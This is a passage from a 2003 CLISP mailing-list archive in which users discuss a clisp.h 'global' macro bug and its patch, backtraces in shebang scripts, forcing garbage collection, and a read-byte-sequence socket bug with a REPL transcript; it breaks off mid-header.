aurelio@localhost) by dalet.19216810.loc (8.12.10/8.12.10/Submit) id h98ExP6K001225; Wed, 8 Oct 2003 16:59:25 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16260.9805.808294.721789@dalet.19216810.loc> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.17 under Emacs 21.2.2 X-Spam-Score: 0.8 (/) X-Spam-Report: 0.8/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) DATE_IN_PAST_06_12 (0.8 points) Date: is 6 to 12 hours before Received: date Subject: [clisp-list] "global" no longer defined in clisp.h Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 8 14:47:13 2003 X-Original-Date: Wed, 8 Oct 2003 16:59:25 +0200 Since 2.31, "global" is no longer defined in clisp.h (at least under Linux), but it is used by the compiler for call-in functions. Test code: (eval-when (:compile-toplevel) (use-package :ffi)) (def-call-in call-in-test (:name "call_in_test") (:return-type int) (:language :stdc)) C code generated by compilation: #include "clisp.h" extern object module__call_in_test__object_tab[]; global int (call_in_test) (void) { [...] From Roman.Belenov@intel.com Wed Oct 08 23:16:05 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A7U5l-0007Rv-00 for ; Wed, 08 Oct 2003 23:16:05 -0700 Received: from hermes.py.intel.com ([146.152.216.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A7U5k-00036z-F9 for clisp-list@lists.sourceforge.net; Wed, 08 Oct 2003 23:16:04 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.12.9-20030918-01/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h996FXWs018589 for ; Thu, 9 Oct 2003 06:15:33 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.py.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h996Eut03782 for ; Thu, 9 Oct 2003 06:14:56 GMT Received: (from NNWRBELENOV31 [10.125.17.147]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003100823153020614 for ; Wed, 08 Oct 2003 23:15:31 -0700 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: External modules and binary distrbution References: From: Roman Belenov In-Reply-To: (Sam Steingold's message of "08 Oct 2003 10:15:28 -0400") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-Spam-Score: -3.0 (---) X-Spam-Report: -3.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 8 23:17:01 2003 X-Original-Date: Thu, 09 Oct 2003 10:15:28 +0400 Sam Steingold writes: >> Is it possible to compile and install external modules with binary >> distribution of clisp ? I'm using cygwin's package (clisp-2.31-2) >> which lacks FastCGI module; I'd like to install this module without >> rebuilding clisp from source. > > yes, this is the whole point of external modules. > please see Thanks, I've got the idea now and succesfully built the module and relinked clisp. -- With regards, Roman. From tfb@OCF.Berkeley.EDU Wed Oct 08 23:17:21 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A7U6z-0007VT-00 for ; Wed, 08 Oct 2003 23:17:21 -0700 Received: from war.ocf.berkeley.edu ([192.58.221.244] ident=0) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A7U6z-0003Hg-08 for clisp-list@lists.sourceforge.net; Wed, 08 Oct 2003 23:17:21 -0700 Received: from famine.OCF.Berkeley.EDU (daemon@famine.OCF.Berkeley.EDU [192.58.221.246]) by war.OCF.Berkeley.EDU (8.12.10/8.9.3) with ESMTP id h996HB0c028626 for ; Wed, 8 Oct 2003 23:17:12 -0700 (PDT) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.7/8.10.2) id h996HBL11625; Wed, 8 Oct 2003 23:17:11 -0700 (PDT) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16260.64871.269059.376281@famine.OCF.Berkeley.EDU> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.90 under Emacs 20.7.1 X-Spam-Score: -0.2 (/) X-Spam-Report: -0.2/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) SIGNATURE_LONG_DENSE (-0.2 points) Long signature present (no empty lines) Subject: [clisp-list] non-interactive backtrace? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 8 23:18:03 2003 X-Original-Date: Wed, 8 Oct 2003 23:17:11 -0700 When running CLISP as a shebang interpreter, is there anyway to get a backtrace? When I get an error, I'd like to print the error to a logfile, followed by a backtrace. Any help would be greatly appreciated. -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From sds@gnu.org Thu Oct 09 06:34:34 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A7aw6-0000pE-00 for ; Thu, 09 Oct 2003 06:34:34 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A7aw5-0001Vj-PP for clisp-list@lists.sourceforge.net; Thu, 09 Oct 2003 06:34:33 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h99DY2o22680 for ; Thu, 9 Oct 2003 09:34:02 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16260.9805.808294.721789@dalet.19216810.loc> (Aurelio Bignoli's message of "Wed, 8 Oct 2003 16:59:25 +0200") References: <16260.9805.808294.721789@dalet.19216810.loc> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -3.0 (---) X-Spam-Report: -3.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) PATCH_UNIFIED_DIFF (-0.5 points) BODY: Contains what looks like a patch from diff -u QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: "global" no longer defined in clisp.h Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 9 06:35:14 2003 X-Original-Date: Thu, 09 Oct 2003 09:34:00 -0400 > * Aurelio Bignoli [2003-10-08 16:59:25 +0200]: > > Since 2.31, "global" is no longer defined in clisp.h (at least under > Linux), but it is used by the compiler for call-in functions. thanks for the bug report. it is now fixed in the CVS. please use the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k Software is like sex: it's better when it's free. --- foreign1.lisp.~1.47.~ 2003-08-14 11:03:29.897609700 -0400 +++ foreign1.lisp 2003-10-09 09:32:57.721926400 -0400 @@ -932,7 +932,7 @@ argtypes))) (prepare-c-typedecl rettype) ;(mapc #'prepare-c-typedecl argtypes) - (format *coutput-stream* "~%global ~A " + (format *coutput-stream* "~%extern ~A " (to-c-typedecl rettype (format nil "(~A)" c-name))) (if (flag-set-p flags ff-language-ansi-c) ; ANSI C parameter declarations From sds@gnu.org Thu Oct 09 06:45:52 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A7b70-0001uh-00 for ; Thu, 09 Oct 2003 06:45:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A7b6z-0003Os-St for clisp-list@lists.sourceforge.net; Thu, 09 Oct 2003 06:45:49 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h99DjIo26153 for ; Thu, 9 Oct 2003 09:45:19 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16260.64871.269059.376281@famine.OCF.Berkeley.EDU> (Thomas F. Burdick's message of "Wed, 8 Oct 2003 23:17:11 -0700") References: <16260.64871.269059.376281@famine.OCF.Berkeley.EDU> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: non-interactive backtrace? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 9 06:46:23 2003 X-Original-Date: Thu, 09 Oct 2003 09:45:17 -0400 > * Thomas F. Burdick [2003-10-08 23:17:11 -0700]: > > When running CLISP as a shebang interpreter, what is "shebang interpreter"? > is there anyway to get a backtrace? When I get an error, I'd like to > print the error to a logfile, followed by a backtrace. search gmane for `backtrace' --> (and around) -- Sam Steingold (http://www.podval.org/~sds) running w2k In every non-trivial program there is at least one bug. From lisp-clisp-list@m.gmane.org Thu Oct 09 11:10:16 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A7fEt-0004Es-00 for ; Thu, 09 Oct 2003 11:10:16 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A7fEt-0004KV-AF for clisp-list@lists.sourceforge.net; Thu, 09 Oct 2003 11:10:15 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A7fEr-00031c-00 for ; Thu, 09 Oct 2003 20:10:13 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A7edU-0002ch-00 for ; Thu, 09 Oct 2003 19:31:36 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A7edU-0002Nq-00 for ; Thu, 09 Oct 2003 19:31:36 +0200 From: als@usenet.thangorodrim.de (Alexander Schreiber) Organization: Not all that much Lines: 21 Message-ID: References: <16260.64871.269059.376281@famine.OCF.Berkeley.EDU> Reply-To: als@usenet.thangorodrim.de X-Complaints-To: usenet@sea.gmane.org User-Agent: slrn/0.9.6.2 (Linux) X-Spam-Score: -2.0 (--) X-Spam-Report: -2.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT (0.0 points) Has a User-Agent header Subject: [clisp-list] Re: non-interactive backtrace? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 9 11:11:01 2003 X-Original-Date: Thu, 9 Oct 2003 17:31:36 +0000 (UTC) Sam Steingold wrote: >> * Thomas F. Burdick [2003-10-08 23:17:11 -0700]: >> >> When running CLISP as a shebang interpreter, > >what is "shebang interpreter"? The way an interpreter is marked as the program to call for shell scripts: -------- cut --------- #!/usr/bin/clisp (format t "Hello, world~%") ------- cut ---------- Regards, Alex. -- "Opportunity is missed by most people because it is dressed in overalls and looks like work." -- Thomas A. Edison From bacilo@gmx.net Fri Oct 10 11:48:29 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A82JR-00009f-00 for ; Fri, 10 Oct 2003 11:48:29 -0700 Received: from pop.gmx.net ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1A82IR-0000IF-3n for clisp-list@lists.sourceforge.net; Fri, 10 Oct 2003 11:47:27 -0700 Received: (qmail 15880 invoked by uid 65534); 10 Oct 2003 18:45:29 -0000 Received: from unknown (EHLO gmx.net) (213.6.223.12) by mail.gmx.net (mp012) with SMTP; 10 Oct 2003 20:45:29 +0200 X-Authenticated: #9749365 Message-ID: <3F86FE3B.5080604@gmx.net> From: Basim Al-Shaikhli User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -0.1 (/) X-Spam-Report: -0.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header Subject: [clisp-list] bug in read-byte-sequence? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 10 11:49:03 2003 X-Original-Date: Fri, 10 Oct 2003 20:45:15 +0200 hi, i think (feel free to correct me if i'm wrong) there's a bug in ext:read-byte-sequence with the :no-hang option it seems to loose the first read byte. if i try to read the char-sequence "asdfg" it returns "sdfg". and when called once again returns the missing #\a. clisp-version is 2.31 (2003-09-01) on WinXP to demonstrate about what i'm talking, please read the following transcript. there are 4 tests: 1) (socket-accept ... :buffered nil) with (read-byte-sequence :no-hang t) fails 2) (socket-accept ... :buffered nil) with (read-byte-sequence :no-hang nil) works 3) (socket-accept ... :buffered t) with (read-byte-sequence :no-hang t) works 4) (socket-accept ... :buffered t) with (read-byte-sequence :no-hang nil) works i start clisp with > lisp.exe -M lispinit.mem -q [1]> (setf s (SOCKET:SOCKET-SERVER 8888)) # from another console window i do a telnet 127.0.0.1 8888 and type asdfg ... back in lisp: [2]> (setf st (socket:socket-accept s)) # [3]> (setf (stream-element-type st) '(unsigned-byte 8)) (UNSIGNED-BYTE 8) [4]> (ext:read-byte-sequence (setf a (make-array 10 :element-type '(unsigned-byte 8) :initial-element 32)) st :no-hang t) 6 [5]> a #(115 100 102 103 13 10 32 32 32 32) ... so, the #\a from "asdfg" is missing... but where is it? [6]> (ext:read-byte-sequence (setf a (make-array 10 :element-type '(unsigned-byte 8) :initial-element 32)) st :no-hang t) 1 [7]> a #(97 32 32 32 32 32 32 32 32 32) ah, here it is. strange, isn't it? now i do the same without :no-hang [8]> (ext:read-byte-sequence (setf a (make-array 10 :element-type '(unsigned-byte 8) :initial-element 32)) st) 7 [9]> a #(97 115 100 102 103 13 10 32 32 32) this is what one would expect... next, i try both combinations with the :buffered t option from socket-accept: [10]> (setf st (socket:socket-accept s :buffered t)) # [11]> (ext:read-byte-sequence (setf a (make-array 10 :element-type '(unsigned-byte 8) :initial-element 32)) st :no-hang t) 10 [12]> a #(97 115 100 102 103 13 10 32 32 32) [13]> (ext:read-byte-sequence (setf a (make-array 10 :element-type '(unsigned-byte 8) :initial-element 32)) st :no-hang nil) 10 [14]> a #(97 115 100 102 103 13 10 32 32 32) From tfb@OCF.Berkeley.EDU Fri Oct 10 14:24:24 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A84kK-0007Ol-00 for ; Fri, 10 Oct 2003 14:24:24 -0700 Received: from war.ocf.berkeley.edu ([192.58.221.244] ident=0) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A84kJ-00009S-AL for clisp-list@lists.sourceforge.net; Fri, 10 Oct 2003 14:24:24 -0700 Received: from famine.OCF.Berkeley.EDU (daemon@famine.OCF.Berkeley.EDU [192.58.221.246]) by war.OCF.Berkeley.EDU (8.12.10/8.9.3) with ESMTP id h9ALNu0c012120 for ; Fri, 10 Oct 2003 14:24:00 -0700 (PDT) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.7/8.10.2) id h9ALNtY15280; Fri, 10 Oct 2003 14:23:55 -0700 (PDT) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16263.9067.640655.777302@famine.OCF.Berkeley.EDU> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.90 under Emacs 20.7.1 X-Spam-Score: -0.2 (/) X-Spam-Report: -0.2/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) SIGNATURE_LONG_DENSE (-0.2 points) Long signature present (no empty lines) Subject: [clisp-list] How to dump a backtrace to a log file Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 10 14:25:05 2003 X-Original-Date: Fri, 10 Oct 2003 14:23:55 -0700 Is this possible? When running clisp (2.70) as a she-bang script interpreter, I'd like to be able to print any errors to a log file, followed by a :bt5 backtrace. The first part's easy. Before I go converting my code to use tfblisp:defun, does anyone have a better idea? -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From siegel@cs.umass.edu Fri Oct 10 14:56:22 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A85FG-0001ih-00 for ; Fri, 10 Oct 2003 14:56:22 -0700 Received: from sommelier.cs.umass.edu ([128.119.244.8]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1A85FF-0005iV-8a for clisp-list@lists.sourceforge.net; Fri, 10 Oct 2003 14:56:21 -0700 Received: from cocycle.cs.umass.edu (cocycle.cs.umass.edu [128.119.244.3]) by sommelier.cs.umass.edu (8.12.8/8.12.5) with ESMTP id h9ALuKiO015404 for ; Fri, 10 Oct 2003 17:56:20 -0400 From: Stephen Siegel To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) Subject: [clisp-list] garbage collection command? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 10 14:57:02 2003 X-Original-Date: Fri, 10 Oct 2003 17:56:20 -0400 (EDT) Is there a CLISP command to force a garbage-collection? For example, in Harlequin Lispworks, I use (hcl:mark-and-sweep 3). Thanks, Steve Siegel From samuel.steingold@verizon.net Fri Oct 10 15:37:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A85ss-0004ny-00 for ; Fri, 10 Oct 2003 15:37:18 -0700 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A85sr-0004Q4-J4 for clisp-list@lists.sourceforge.net; Fri, 10 Oct 2003 15:37:17 -0700 Received: from WINSTEINGOLDLAP ([129.44.176.147]) by out002.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20031010223646.OEPW602.out002.verizon.net@WINSTEINGOLDLAP> for ; Fri, 10 Oct 2003 17:36:46 -0500 To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Stephen Siegel's message of "Fri, 10 Oct 2003 17:56:20 -0400 (EDT)") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [129.44.176.147] at Fri, 10 Oct 2003 17:36:45 -0500 X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: garbage collection command? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 10 15:38:02 2003 X-Original-Date: Fri, 10 Oct 2003 18:36:43 -0400 > * Stephen Siegel [2003-10-10 17:56:20 -0400]: > > Is there a CLISP command to force a garbage-collection? (ext:gc) -- Sam Steingold (http://www.podval.org/~sds) running w2k If you want it done right, you have to do it yourself From samuel.steingold@verizon.net Fri Oct 10 22:17:50 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A8C8I-0001XI-00 for ; Fri, 10 Oct 2003 22:17:38 -0700 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A8C8E-0004j1-Uh for clisp-list@lists.sourceforge.net; Fri, 10 Oct 2003 22:17:35 -0700 Received: from WINSTEINGOLDLAP ([129.44.176.147]) by out004.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20031011051703.FDQQ25700.out004.verizon.net@WINSTEINGOLDLAP> for ; Sat, 11 Oct 2003 00:17:03 -0500 To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3F86FE3B.5080604@gmx.net> (Basim Al-Shaikhli's message of "Fri, 10 Oct 2003 20:45:15 +0200") References: <3F86FE3B.5080604@gmx.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [129.44.176.147] at Sat, 11 Oct 2003 00:17:02 -0500 X-Spam-Score: -3.0 (---) X-Spam-Report: -3.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) PATCH_UNIFIED_DIFF (-0.5 points) BODY: Contains what looks like a patch from diff -u QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: bug in read-byte-sequence? Sender: 